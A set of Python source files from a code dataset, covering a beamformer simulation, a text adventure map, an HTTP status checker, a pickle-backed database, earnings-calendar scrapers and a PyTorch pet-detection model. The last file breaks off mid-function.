imageOut.write(rawImg)\n    \n    except KeyError:\n\n        if data_json[\"error\"]:\n            print(f\"Error: {data_json['error']['code']}\")\n            break\n        else:\n            print(f\"No images found for sol: {sol}.\")\n\nprint(\"Process end\")","repo_name":"Cutwell/opportunity-rover-colourised","sub_path":"data/curiosity/getCuriosity.py","file_name":"getCuriosity.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"34170075852","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\nimport numpy as np\nrng = np.random.default_rng()\n\nclass SensorArray:\n    \"\"\"\n    Class to store Uniform Linear Array geometry.\n    \n    L : float\n        Array length [m]\n    \n    M : int\n        Number of sensors (must be odd)\n    \n    d : float\n        Inter sensor spacing [m]\n        \n    XY : (2,M) array_like\n        Numpy array with sensor coordinates in 2D (x,y) space\n        \n    m : (M,) array_like\n        Numpy array of integer sensor indices, from -(M-1)/2 to +(M-1)/2\n    \"\"\"\n    \n    def __init__(self, L, M):\n        self.M = M\n        self.L = L\n        \n        self.XY, self.d, self.m = self.create_unif_lin_array(L, M)\n\n        \n    def create_unif_lin_array(self, L, M):\n        \"\"\"\n        Creates a uniform linear array with length 'L' and 'M' elements\n        distributed over the 'x' axis. By convenience, 'M' must be odd.\n        \n        Parameters\n        ----------\n        L : float\n            Array length [m]\n        \n        M : int\n            Number of sensors (must be odd)\n        \n        Returns\n        -------\n        XY_array : (2, M) array_like\n            Numpy array with (x,y) coordinates of array elements\n        \n        d : float\n            Array inter-element spacing [m]\n        \n        m_indices : \n            Array of indices from -(M-1)/2 to +(M-1)/2, with index 0 being at\n            the center.\n        \n        Notes\n        -----\n        By convenience, the number of elements 'M' in the array must always be\n        odd.\n        \"\"\"\n    \n        M_even_error = \"Number of sensors must be odd\"\n        assert M%2, M_even_error\n    \n        # inter sensor spacing\n        d = L/(M-1)\n    \n        print(\"Array inter sensor spacing is {} m\".format(d))\n    \n        # array sensor indices\n        m_indices = np.linspace(-(M//2), M//2, M, dtype=int)\n    \n        # array elements spatial coordinates\n        XY_array = np.zeros((2, M))\n        XY_array[0, :] = np.linspace(-L/2, L/2, M)\n    \n        return XY_array, d, m_indices\n        \n\ndef delay_signal(x, t0, fs):\n    \"\"\"\n    Delay a time-domain signal 'x', sampled at 'fs' Hz, by 't0' seconds.\n\n    Parameters\n    ----------\n    x : (N_dft,) array_like\n        Numpy vector of length 'N_dft' containing signal of interest\n\n    t0 : float\n        Time by which to delay signal 'x', in seconds\n        \n    fs : int\n        Sampling frequency, in Hz\n\n    Returns\n    -------\n    x_delayed : (N,)\n        Time-delayed copy of input signal 'x'\n\n    \"\"\"\n    \n    X_f = np.fft.rfft(x)\n    \n    N_dft = x.shape[0]\n    df = fs/N_dft\n    f = np.linspace(0, fs-df, N_dft)[:N_dft//2+1]\n    \n    X_f_delayed = X_f*np.exp(-1j*2*np.pi*f*t0)\n    \n    return np.fft.irfft(X_f_delayed)\n\n\ndef create_narrowband_pulse(A, T, f0, fs):\n    \"\"\"\n    Creates a narrowband pulse signal with amplitude 'A', duration 'T' seconds,\n    center frequency 'f0' Hz, and sampling frequency 'fs' Hz.\n    \n    Parameters\n    ----------\n    A : float\n        Signal peak amplitude\n    \n    T : float\n        Signal duration, in seconds\n    \n    f0 : float\n        Signal center frequency, in Hz\n    \n    fs : int\n        Sampling frequency, in Hz\n    \n    Returns\n    -------\n    p_pulse : (N_pulse,) array_like\n        Numpy vector containing narrowband pulse signal.\n    \n    Notes\n    -----\n    The signal is a sine wave of amplitude 'A', frequency 'f0', and random\n    initial phase, modulated by a Hann window of duration 'T'.\n    \"\"\"\n    \n    # pulse duration [samples]\n    N_pulse = int(T*fs)\n    dt = 1./fs\n\n    t_pulse = np.linspace(0, T-dt, N_pulse)\n    p_pulse = A*np.sin(2*np.pi*f0*t_pulse\n                       + rng.uniform(0, 2*np.pi, 1)[0])*np.hanning(N_pulse)\n    \n    return p_pulse\n\n\ndef create_array_signals(SensorArrayObj, p_source, t_initial, T, theta0_deg,\n                         fs, c0=1500, SNR_dB=None):\n    \"\"\"\n    Create a Numpy array of time-domain signals simulating a recording with a\n    Uniform Linear Array\n\n    Parameters\n    ----------\n    SensorArrayObj : instance of SensorArray class\n        Instance containing array geometry information\n    \n    p_source : (N,) array_like\n        Numpy vector containing 'clean' (i.e. no noise) source signal in time.\n    \n    t_initial : float\n        Time at which source signal reaches the center array sensor.\n    \n    T : float\n        Total sensor signal duration, in seconds.\n    \n    theta0_deg : float\n        Direction of arrival of source signal, relative to array axis, in\n        degrees.\n    \n    fs : int\n        Sampling frequency, in Hz.\n    \n    c0 : float, optional\n        Speed of sound, in meters per second. The default is 343 (m/s).\n    \n    SNR_dB : float, optional\n        Signal-to-noise ratio, in decibels, as observed at sensor elements. The\n        default is None (no noise at array sensors).\n\n    Returns\n    -------\n    p_array : (M, T*fs) array_like\n        Numpy array containing 'M' channels of array signals over time.\n\n    Notes\n    -----\n    This model assumes the source signal arrives at the array as a plane wave.\n    \n    The 'SNR_dB' parameter controls how much uncorrelated white noise is added\n    to the sensors. If 'SNR_dB=None', no white noise is added to the array\n    signals.\n    \n    The SNR is calculated from the ratio between the total variance in\n    'p_source' to the total variance in the additive white noise signal, so\n    it denotes a 'broadband' notion of SNR. This interpretation of SNR might\n    not be valid to all contexts.\n    \"\"\"\n    \n    # instantiate a random number generator\n    rng = np.random.default_rng()\n    \n    # direction of arrival of signals (plane wave propagation)\n    theta0 = theta0_deg*np.pi/180\n    \n    # vector of times-of-arrival for each sensor\n    times_of_arrival = -SensorArrayObj.m*SensorArrayObj.d*np.cos(theta0)/c0\n    \n    N_initial= int(t_initial*fs)\n    N_final = N_initial + p_source.shape[0]\n    \n    # No. of samples in array data (total duration)\n    N = int(T*fs)\n    \n    # create array of sensor signals    \n    if SNR_dB is None:\n        # if SNR_dB is not given, initialize signals as array of zeros (no\n        # noise)\n        p_array = np.zeros((SensorArrayObj.M, N))\n    \n    else:\n        # if SNR_dB is given, add random noise to array signals at desired SNR\n        signal_var = np.var(p_source)\n        noise_var = signal_var/(10**(SNR_dB/10))\n        p_array = rng.normal(0., np.sqrt(noise_var), (SensorArrayObj.M, N))\n    \n    # for each sensor in array...\n    for m in range(SensorArrayObj.M):\n        # ...adds signal at time 't_initial'...\n        p_array[m, N_initial:N_final] += p_source\n        \n        # ...and time-shifts signal for given time-of-arrival\n        p_array[m, :] = delay_signal(p_array[m, :], times_of_arrival[m], fs)\n    \n    return p_array\n\n\n\ndef delayandsum_beamformer(SensorArrayObj, p_array, theta, weights, fs,\n                           c0=1500):\n    \"\"\"\n    Calculates simplified delay-and-sum beamformer for a given array geometry \n    and sensor signals, over a set of pre-determined directions.\n    \n    Parameters\n    ----------\n    SensorArrayObj : instance of SensorArray class\n        Instance containing array geometry information\n        \n    p_array : (M, T*fs) array_like\n        Numpy array containing 'M' channels of array signals over time.\n    \n    theta : (N_theta,) array_like\n        Numpy vector containing set of desired steering directions, in radians.\n    \n    weights : (M,) array_like\n        Numpy vector containing array amplitude weighting coefficients.\n    \n    fs : int\n        Sampling frequency, in Hz.\n    \n    c0 : float, optional\n        Speed of sound, in meters per second. The default is 343 (m/s).\n    \n    Returns\n    -------\n    y_beamformer : (N_theta, T*fs,) array_like\n        Numpy array containing the time-domain beamformer output signal for\n        each steering direction.\n    \n    \"\"\"\n    \n    N_theta = theta.shape[0]\n    \n    M, N_time = p_array.shape\n    \n    # initialize array of beamformer data (angle, time)\n    y_beamformer = np.zeros((N_theta, N_time))\n\n    # for each direction...\n    for theta_i in range(N_theta):\n        \n        # calculate candidate time delays (TDoA) referring to all microphone using its steering direction (DoA)\n        #The time delays due to propagation are given by d *m *cos (theta) /c, where d is the distance of the n-th microphone to the center         of the array and theta is the angle of arrival relative to the array axis.\n        \n        time_delays = -SensorArrayObj.m*SensorArrayObj.d*np.cos(theta[theta_i])/c0\n    \n        # and for each sensor...\n        for m in range(M):\n            # delay and sum signals\n            y_beamformer[theta_i, :] += weights[m]*delay_signal(p_array[m, :], -time_delays[m], fs)\n    \n    # compensate for Nweights / No. of sensors in array\n    y_beamformer *= 1./np.sum(weights**2)\n    \n    return y_beamformer\n\n","repo_name":"Speech-Interaction-Technology-Aalto-U/itsp","sub_path":"Enhancement/DSB_Tools.py","file_name":"DSB_Tools.py","file_ext":"py","file_size_in_byte":8904,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"47"}
{"seq_id":"10473209489","text":"class Room(object):\n    def __init__(self, name, description, north, northeast, northwest, south, southeast, southwest, east, west):\n        self.north = north\n        self.south = south\n        self.east = east\n        self.west = west\n        self.northeast = northeast\n        self.northwest = northwest\n        self.southeast = southeast\n        self.southwest = southwest\n        self.name = name\n        self.description = description\n\n    def move(self, direction):\n        global current_node\n        current_node = globals()[getattr(self, direction)]\n\n\nbland_room = Room(\"Bland Room\", 'There are three portals, one to the north, east, and west. Each is a different color.',\n                  'frontgate1', None, None, None, None, None, 'frontgate2', 'frontgate3')\nfrontgate1 = Room('Frontgate1', 'You are in front of a rusted iron gate which appears to be the entrance to a castle, '\n                  'which could also be the mysterious yet famed, ACADEMY.',\n                  None, None, None, 'parkinglot1', None, 'gym', 'frontgate2', None)\nfrontgate2 = Room('Frontgate2', 'You are standing in front of a slightly burnished silver gate which appears to be the '\n                  'entrance to a castle, which could also be the mysterious yet famed, ACADEMY.', None,\n                  None, None, 'parklot2', None, None, 'frontgate3', 'frontgate1')\nfrontgate3 = Room('Frontgate3', 'You are standing in front of an engraved golden gate,which appears to be the entrance'\n                  ' to a castle, which could also be the mysterious yet famed, ACADEMY.', None, None, None, 'parklot3',\n                  None, None, None, 'frontgate2')\nparklot1 = Room('Abandoned Lot1',\n                'There are several rusted metal objects around you. One of the objects doors is opened'\n                'with a strange pale-green light coming through the windshield '\n                'that disappears as you walk forward', 'frontgate1', None, None, 'hallway1', None, 'gym', None,\n                None,)\nparklot2 = Room('Abandoned Lot 2', 'the ground is dry and cracked, yet the sky looks dark and stormy. '\n                'There are paths to the north, east, west, and south.', 'frontgate2', None, None, 'library', None, None,\n                'parkinglot3', 'parkinglot1')\nparklot3 = Room('Abandoned Lot 3', 'There are about 16 trees in the apparent orchard, and the grass is way overgrown. '\n                'There are paths to the north, south, and west', 'frontgate3', None, None, 'abandoned_classroom1', None,\n                None, None, 'parklot2')\ngym = Room('Gymnasium', 'you are looking at a large, dimly lit room. it is ahrd to see anything here',\n           None, 'parklot1', 'janitorcloset', None, 'lockerroom', 'lockerroom', None, None)\nhallway1 = Room('Hallway', 'A hallway that has a passageway to the east and west. '\n                           'It appears to continue further south.', 'parklot1', None, None, 'hallway1', None, None,\n                \"room 23\", \"gym\")\n\ncurrent_node = bland_room\ndirections = ['north', 'northwest', 'west', 'southwest', 'south', 'southeast', 'east', 'northeast']\nshort_directions = ['n', 'nw', 'w', 'sw', 's', 'se', 'e', 'ne']\n\n\nwhile True:\n    print(current_node.name)\n    print(current_node.description)\n    command = input('>_').lower().strip()\n    if command == 'quit':\n        quit(0)\n    elif command in short_directions:\n        pos = short_directions.index(command)\n        command = directions[pos]\n    if command in directions:\n        try:\n            current_node.move(command)\n        except KeyError:\n            print('Your pants will fall off if you go this way!')\n    else:\n        print('Command not recognized')\n","repo_name":"69xp/cse-notes","sub_path":"worldmap OOPs paul.py","file_name":"worldmap OOPs paul.py","file_ext":"py","file_size_in_byte":3680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"9763759653","text":"import http.client\n\nprint(\"---THIS-PROGRAM-FINDS-THE-URL-OF-A-SERVER---\\n\")\n\nhost = input(\"---INSERT-THE-HOSTS-IP---\\n\")\nport = input(\"---INSERT-THE-PORT(default:80)---\\n\")\nurl = input(\"---INSERT-THE-URL---\\n\")\n\nif(port == \"\"):\n\tport = 80\n\ntry:\n    connection = http.client.HTTPConnection(host, port)\t\n    connection.request('GET', url)\n    response = connection.getresponse()\n    print('---SERVER-RESPONSE---\\n',response.status)\n    connection.close()\nexcept ConnectionRefusedError:\n      print(\"\\n---CONNECTION-FAILED---\")    ","repo_name":"Ha1345/python_scripts","sub_path":"http_file_verifyer.py","file_name":"http_file_verifyer.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24940524388","text":"\nimport os.path, pickle\n\n'''\nThis is a database module that stores objects like dictionaries\ninto appropriate files which act as databases to store and retrive\ninformation. This makes use of a builtin python module called as\n'Pickle'. The database files are stored with an extension .dat\n'''\n\nclass database:\n    # Initiation: Creates a new db if that file is not found\n    #             opens the old db if found\n    def __init__(self, name=\"\"):\n        self.status = False\n        if len(name) > 0 and not self.open(name):\n            self.create(name)\n            \n    # Opens database with provided name\n    def open(self,name):\n        if os.path.isfile(name+\".dat\") and not self.status:\n            self.name = name\n            file = open(name+\".dat\", 'rb')\n            self.data = pickle.load(file)\n            file.close()\n            self.status = True\n            return True\n        else:\n            return False\n            \n    # Creates a new database\n    def create(self,name):\n        if os.path.isfile(name+\".dat\") or self.status:\n            return False\n        else:\n            data = {}\n            file = open(name+\".dat\", 'wb')\n            pickle.dump(data, file)\n            file.close()\n            self.open(name)\n            \n    # Rewrites current self.data into database\n    @property\n    def save(self):\n        if self.status:\n            file = open(self.name+\".dat\", 'wb')\n            pickle.dump(self.data, file)\n            file.close()\n            return True\n        else:\n            return False\n        \n    # Adds a column to the database, if some entries are already\n    # made in other columns this new column has 'None' in those\n    # entries\n    def addColumn(self,name):\n        if name in self.data.keys():\n            return False\n        self.data[name] = []\n        if len(self.data) > 1:\n            othername = name\n            i = 0\n            while othername == name:\n                othername = self.data.keys()[i]\n                i+=1\n            for _ in self.data[othername]:\n                self.data[name].append(None)\n        self.save\n        return True\n    \n    # Inserts into respective places. Takes a dictionary with appropriate\n    # keys with names of columns containing the value to be inserted into\n    # that paerticular column\n    def insert(self,dat):\n        if len(set(dat.keys()).intersection(self.data.keys())) == len(dat.keys()):\n            for i in dat:\n                self.data[i].append(dat[i])\n            self.save\n            return True\n        else:\n            return False\n    \n    # Gets the row by a value in row\n    def get(self,key,value):\n        res = []\n        if key in self.data.keys():\n            for i in range(len(self.data[key])):\n                if self.data[key][i] == value:\n                    dat = {}\n                    for j in self.data.keys():\n                        dat[j] = self.data[j][i]\n                    res.append(dat)\n            return res\n        else:\n            return False\n            \n    # Delete a row by value\n    def delete(self,key,value):\n        if key in self.data.keys():\n            var = True\n            while var:\n                var = False\n                for i in range(len(self.data[key])):\n                    if self.data[key][i] == value:\n                        for j in self.data.keys():\n                            self.data[j].pop(i)\n                        var = True\n                        break\n            self.save\n            return True\n        else:\n            return False\n    \n    # Returns a list of columns\n    @property\n    def columns(self):\n        return self.data.keys()\n    \n    # Changes a value by finding another value\n    def change(self, key, value, key2, value2):\n        if key in self.data.keys():\n            var = True\n            while var:\n                var = False\n                for i in range(len(self.data[key])):\n                    if self.data[key][i] == value and self.data[key2][i] != value2:\n                        self.data[key2][i] = value2\n                        var = True\n                        break\n            self.save\n            return True\n        else:\n            return False\n            \n    # Returns all rows as a list of rows as dictionaries\n    @property\n    def rows(self):\n        res = []\n        for i in range(len(self.data[self.data.keys()[0]])):\n            dat = {}\n            for j in self.data.keys():\n                dat[j] = self.data[j][i]\n            res.append(dat)\n        return res\n\n# Test cases\n'''\nif __name__ == \"__main__\":\n    db = database(\"people\")\n    db.addColumn(\"name\")\n    db.addColumn(\"rn\")\n    db.insert({\"name\":\"vinaya\",\"rn\":1})\n    db.insert({\"name\":\"vinayb\",\"rn\":2})\n    db.insert({\"name\":\"vinayc\",\"rn\":3})\n    db.insert({\"name\":\"vinayd\",\"rn\":4})\n    db.insert({\"name\":\"vinaye\",\"rn\":4})\n    print db.data\n    print db.addColumn(\"shape\")\n    print db.data\n    print db.change(\"rn\",4,\"shape\",\"triangle\")\n    print db.data\n    print db.get(\"rn\",4)\n    print db.data\n    print db.rows\n    print db.columns\n    print db.delete(\"rn\",4)\n    print db.data\n'''","repo_name":"7andahalf/Hotel-Reservation-System","sub_path":"server_application/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"47"}
{"seq_id":"73556245581","text":"import requests\nimport time as py_time\nfrom bs4 import BeautifulSoup\nimport datetime as dt\nimport pandas as pd\nimport json\n\n\"\"\"\nearnings.py for all your earning needs. Includes the fetch.py module which was originally\nseparated.\n\nClass: \n    Earnings: meant to be the main api to interact with all the scraped data\n    YahooEarningsCalendar: Yahoo earnings calendar api. Returns ticker+time only... yahoo sucks\n    ZachsEarningsCalendar: Earnings calendar from zachs... Thank god for zachs\n\"\"\"\n\n\nclass Earnings:\n    \"\"\"Api to interact with earnings data\n\n    :arg path (os.path): path to the earnings.json file\n    :arg data (dict): the contents of the earnings.json file\n\n    Functions:\n        update: updates the file to today\n        get_dates: Gets the infomration for the dates given (list)\n        effective date: returns all info for the given effective date\n        all_stocks: returns all stocks as a list\n        save: saves the data dict\n    \"\"\"\n    def __init__(self, path):\n        self.path = path\n        with open(path, 'r') as read:\n            self.data = json.load(read)\n\n    def update(self):\n        \"\"\"Updates the earnings data to today\"\"\"\n\n        last_available = dt.datetime.strptime(list(self.data.keys())[-1], '%Y-%m-%d').date()\n        dates = [\n            last_available + dt.timedelta(days=days)  # +1 to get to today\n            for days in range(0, (dt.datetime.today().date()-last_available).days+1)\n        ]\n        self.get_dates(dates)\n\n    def get_dates(self, dates: list):\n        \"\"\"Get all the data for the given list of dates, will overwrite duplicates\"\"\"\n\n        for date in dates:\n            print(f'fetching date {date}')\n            cal = ZachsEarningsCalendar(date)\n            # Will only append dates if not empty\n            if not cal.earnings.empty:\n                self.data.update({\n                    date.strftime('%Y-%m-%d'): cal.earnings.to_dict(orient='index')\n                })\n\n    def effective_date(self, date):\n        \"\"\"Effective date means the date that the earnings report impacts\n\n        I.e. if earnings call is amc on feb 2, the effective date is feb 3\n        \"\"\"\n        try:  # Try catch incase date doesnt exist, will return empty dict\n            bmo = self.data[date.strftime('%Y-%m-%d')].items()\n        except KeyError:\n            bmo = {}\n        try:\n            amc = self.data[(date - dt.timedelta(days=1)).strftime('%Y-%m-%d')].items()\n        except KeyError:\n            amc = {}\n        output = {}\n        for stock, data in bmo:\n            if data['time'] == 'bmo':\n                output[stock] = data\n        for stock, data in amc:\n            if data['time'] == 'amc':\n                output[stock] = data\n        return output\n\n    def save(self):\n        \"\"\"Saves the data file to the given path\"\"\"\n\n        with open(self.path, 'w') as write:\n            json.dump(self.data, write, indent=4, sort_keys=True)\n\n    def all_stocks(self):\n        \"\"\"List all the stocks in the earnings file\"\"\"\n\n        stocks = {\n            stock\n            for date in self.data for stock in self.data[date].keys()\n        }\n        return stocks\n\n\nclass YahooEarningsCalendar:\n    \"\"\"Earnings date information scraped from yahoo finance\n\n    Attributes:\n        DELAY (int): delay between traversing pages\n        CALL_TIME_DICT (dict): translate yahoo lingo into shortened\n        date (str): date of interest\n        earnings (dict): the final output of the class. A dictionary of all earnings for that date\n        url (str): url to yahoo\n        offset (int): offset used in the url\n        num_stocks (int): number of stocks on current day\n        num_pages (int): not useful, mainly used for convenience, number of pages on yahoo\n    \"\"\"\n    DELAY = 0.5  # delay in seconds between url calls\n    CALL_TIME_DICT = {\n        'Time Not Supplied': 'N/A',\n        'Before Market Open': 'BMO',\n        'After Market Close': 'AMC',\n        'TAS': 'AMC'\n    }\n\n    def __init__(self, date: object):\n        self.date = date.strftime('%Y-%m-%d')\n        self.earnings = {'date': self.date, 'tickers': {}}\n        self.url = None\n        self._soup = None\n        self.offset = 0\n        self.num_stocks = 0\n        self.num_pages = 0\n        self.run()\n\n    def getsoup(self):\n        self.url = f'https://finance.yahoo.com/calendar/earnings?day={self.date}&offset={self.offset}&size=100'\n        yahoo = requests.get(self.url)\n        if yahoo.status_code != 200:\n            raise ConnectionError(f'code {yahoo.status_code}')\n        src = yahoo.content\n        self._soup = BeautifulSoup(src, 'html.parser')\n\n    def pages(self):\n        \"\"\"gets number of pages and stocks that exists on the yahoo site\"\"\"\n\n        self.getsoup()  # get soup to extract data\n        results = self._soup.find('span', {'class': 'Mstart(15px) Fw(500) Fz(s)'}).text\n        self.num_stocks = int(results[results.index('of') + 3: -len('results')])\n        self.num_pages = int((self.num_stocks - 1) / 100)\n\n    def filter_data(self):\n        \"\"\"Filters soup data and returns dict {ticker: BMO, ticker2: AMC, etc...}\"\"\"\n\n        # Results white and results_alt are due to the fact that yahoo chart splits into grey and white\n        # gets all the soup data from white lines\n        results_white = self._soup.findAll('tr', {\n            'class': 'simpTblRow Bgc($extraLightBlue):h BdB Bdbc($finLightGrayAlt) Bdbc($tableBorderBlue):h H(32px) '\n                     'Bgc(white)'})\n\n        # gets all the soup data from alternate (grey) lines\n        results_alt = self._soup.findAll('tr', {\n            'class': 'simpTblRow Bgc($extraLightBlue):h BdB Bdbc($finLightGrayAlt) Bdbc($tableBorderBlue):h H(32px) '\n                     'Bgc($altRowColor)'})\n\n        # filters results_white data into the main dict\n        for i in results_white:\n            ticker = i.find('a', {'class', 'Fw(600)'}).text\n            time = i.find('td', {'class', 'Va(m) Ta(end) Pstart(15px) W(20%) Fz(s)'}).text\n            time = self.CALL_TIME_DICT[time]\n            self.earnings['tickers'][ticker] = time\n\n        # filters results_alt data into the main dict\n        for i in results_alt:\n            ticker = i.find('a', {'class', 'Fw(600)'}).text\n            time = i.find('td', {'class', 'Va(m) Ta(end) Pstart(15px) W(20%) Fz(s)'}).text\n            time = self.CALL_TIME_DICT[time]\n            self.earnings['tickers'][ticker] = time\n\n    def run(self):\n        \"\"\"Bread and budder, generates the earnings list\"\"\"\n\n        self.pages()\n        self.filter_data()\n        for i in range(1, self.num_pages + 1):\n            py_time.sleep(self.DELAY)\n            self.offset = 100 * i\n            self.getsoup()\n            self.filter_data()\n\n    def save_as_json(self, path, indent=4):\n        with open(path, 'wb') as save:\n            json.dump(self.earnings, save, indent=indent)\n\n\nclass ZachsEarningsCalendar:\n    \"\"\"Zachs Earnings Calendar\n\n    Attributes:\n        raw_data: raw data from zachs as a dict\n        earnings: earnings data from zachs as a dataframe\n        timestamp: timespamp of the input dated\n        date: current date\n        url: url to the data\n    \"\"\"\n    HEADERS = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n                             'Chrome/79.0.3945.130 Safari/537.36'}\n\n    def __init__(self, date: dt.date):\n        self.raw_data = None\n        self.date = date\n        self.earnings = None\n        # dt.time(1,0) is the time zachs wants for the url. NOTE **1AM IS EST TIME**\n        self.timestamp = int(dt.datetime.combine(date, dt.time(1, 0)).timestamp())\n        self.url = 'https://www.zacks.com/includes/classes/z2_class_calendarfunctions_data.php?calltype=' \\\n                   f'eventscal&date={self.timestamp}&type=1'\n        self.get_earnings()\n\n    def get_earnings(self):\n        \"\"\"Gets and returns the data from zachs earnings calendar\"\"\"\n\n        def parse_eps(text):  # EPS may not exist so cant always be a float\n            try:\n                return float(text)\n            except ValueError:\n                return text\n\n        # Get raw data as dict\n        data = requests.get(self.url, headers=self.HEADERS)\n        if data.status_code != 200:\n            raise ConnectionError(f'code {data.status_code}')\n        soup = BeautifulSoup(data.content, 'html.parser')\n        self.raw_data = json.loads(soup.text)['data']\n\n        # To dataframe\n        to_frame = {i[0]: {\n            'time': i[3],\n            'estimate': parse_eps(i[4]),\n            'reported': parse_eps(i[5])\n        } for i in self.raw_data}\n        self.earnings = pd.DataFrame.from_dict(to_frame, orient='index')\n\n\nif __name__ == '__main__':\n    zachs = ZachsEarningsCalendar(dt.date(2020, 2, 4))\n    zachs.get_earnings()\n    print(zachs.earnings)\n","repo_name":"StevenFu06/EarningsTrader_RevC","sub_path":"library/earnings.py","file_name":"earnings.py","file_ext":"py","file_size_in_byte":8792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27316749339","text":"import os\nimport xml.etree.ElementTree as ET\n\nimport matplotlib.patches as patches\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchvision.models as models\nimport torchvision.transforms as transforms\nfrom PIL import Image\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\n\n\nclass CustomModel(nn.Module):\n    def __init__(self, num_species=9):\n        super(CustomModel, self).__init__()\n        # Choose a backbone architecture (e.g., ResNet, MobileNet, or EfficientNet)\n        self.backbone = models.resnet50(pretrained=True)\n\n        # Define the head of the model to extract features and output predictions\n        num_features = self.backbone.fc.in_features\n        self.backbone.fc = nn.Identity()  # Remove the last fully connected layer\n\n        # Additional layers for object presence and bounding box regression\n        self.object_presence = nn.Sequential(\n            nn.Linear(num_features, 256),\n            nn.ReLU(),\n            nn.Linear(256, 1),\n            nn.Sigmoid()\n        )\n\n        self.bounding_box_regression = nn.Linear(num_features, 4)\n\n        # Additional layers for species classification\n        self.species_classification = nn.Sequential(\n            nn.Linear(num_features, 256),\n            nn.ReLU(),\n            nn.Linear(256, num_species),\n            nn.Softmax(dim=1)\n        )\n\n    def forward(self, x):\n        # Forward pass through the model\n        out_backbone = self.backbone(x)\n        object_presence = self.object_presence(out_backbone)\n        bounding_box = self.bounding_box_regression(out_backbone)\n        species_probabilities = self.species_classification(out_backbone)\n\n        return object_presence, bounding_box, species_probabilities\n\n\nclass CustomDataset(Dataset):\n    def __init__(self, root_dir, transform=None):\n        self.root_dir = root_dir\n        self.transform = transform\n        self.image_folder = os.path.join(root_dir, 'images')\n        self.label_folder = os.path.join(root_dir, 'labels')\n        self.image_list = [f for f in os.listdir(self.image_folder) if f.endswith(('.jpg', '.jpeg', '.png'))]\n        self.label_list = [f for f in os.listdir(self.label_folder) if f.endswith('.xml')]\n\n    def __len__(self):\n        return len(self.image_list)\n\n    def __getitem__(self, idx):\n        image_path = os.path.join(self.image_folder, self.image_list[idx])\n        image = Image.open(image_path).convert('RGB')\n        if self.transform:\n            image = self.transform(image)\n\n        label_path = os.path.join(self.label_folder, self.image_list[idx].replace('.jpg', '.xml'))\n        if os.path.exists(label_path):\n            label = self._parse_xml(label_path)\n        else:\n            label = {\n                'object_presence': torch.tensor([0.0]),\n                'bounding_box': torch.tensor([0.0, 0.0, 0.0, 0.0]),\n                'species_probabilities': torch.zeros(9)\n            }\n\n        return image, label\n\n    def _parse_xml(self, xml_path):\n        tree = ET.parse(xml_path)\n        root = tree.getroot()\n        object_presence = torch.tensor([1.0])\n        # cat_or_dog = torch.zeros(2)\n        # cat_or_dog[root.find('object/name').text] = 1.0\n        bounding_box = [float(root.find('object/bndbox/xmin').text),\n                        float(root.find('object/bndbox/ymin').text),\n                        float(root.find('object/bndbox/xmax').text),\n                        float(root.find('object/bndbox/ymax').text)]\n        species_probabilities = torch.zeros(9)\n        species_probabilities[self._get_species_index(\"_\".join(root.find('filename').text.split(\"_\")[:-1]))] = 1.0\n\n        return {\n            'object_presence': object_presence,\n            # 'cat_or_dog': cat_or_dog,\n            'bounding_box': torch.tensor(bounding_box),\n            'species_probabilities': species_probabilities\n        }\n\n    def _get_species_index(self, species):\n        species_mapping = {\n            'Abyssinian': 0,\n            'Birman': 1,\n            'Persian': 2,\n            'american_bulldog': 3,\n            'american_pit_bull_terrier': 4,\n            'basset_hound': 5,\n            'beagle': 6,\n            'chihuahua': 7,\n            'pomeranian': 8\n        }\n        return species_mapping[species]\n\n\ndef visualize_output(image, object_presence, bounding_box, species_probabilities):\n    # Convert tensor to numpy array and reshape if necessary\n    if torch.is_tensor(image):\n        image = image.permute(1, 2, 0).numpy()\n\n    # Create figure and axes\n    fig, ax = plt.subplots(1)\n    ax.imshow(image)\n\n    # Display bounding box if object is present\n    if object_presence > 0.5:\n        xmin, ymin, xmax, ymax = bounding_box.tolist()\n        width = xmax - xmin\n        height = ymax - ymin\n\n        # Create a rectangle patch\n        rect = patches.Rectangle((xmin, ymin), width, height, linewidth=1, edgecolor='r', facecolor='none')\n\n        # Add the patch to the axes\n        ax.add_patch(rect)\n\n    # Add species labels\n    species_labels = ['Abyssinian', 'Birman', 'Persian', 'american_bulldog',\n                      'american_pit_bull_terrier', 'basset_hound', 'beagle',\n                      'chihuahua', 'pomeranian']\n    species_probabilities = species_probabilities.tolist()\n    species_indices = [i for i, prob in enumerate(species_probabilities) if prob > 0.5]\n    species_names = [species_labels[i] for i in species_indices]\n\n    # Add species labels to the plot\n    for i, species_name in enumerate(species_names):\n        ax.text(10, 10 + i * 20, species_name, color='white', fontsize=8,\n                bbox=dict(facecolor='black', edgecolor='none'))\n\n    # Show the plot\n    plt.show()\n\n\ndef train_model(model, train_loader, val_loader, criterion, optimizer, num_epochs):\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    model.to(device)\n\n    for epoch in range(num_epochs):\n        model.train()\n        train_loss = 0.0\n\n        for images, labels in train_loader:\n            images = images.to(device)\n            object_presence, bounding_box, species_probabilities = model(images)\n\n            # Compute loss\n            object_presence_loss = criterion(object_presence, labels['object_presence'].to(device))\n            bounding_box_loss = bbox_criterion(bounding_box, labels['bounding_box'].to(device))\n            species_loss = species_criterion(species_probabilities,\n                                             torch.argmax(labels['species_probabilities'], dim=1).to(device))\n            loss = object_presence_loss + bounding_box_loss + species_loss\n\n            # Backpropagation and optimization\n            optimizer.zero_grad()\n            loss.backward()\n            optimizer.step()\n\n            train_loss += loss.item() * images.size(0)\n\n        train_loss /= len(train_loader.dataset)\n\n        # Validation loop\n        model.eval()\n        val_loss = 0.0\n\n        with 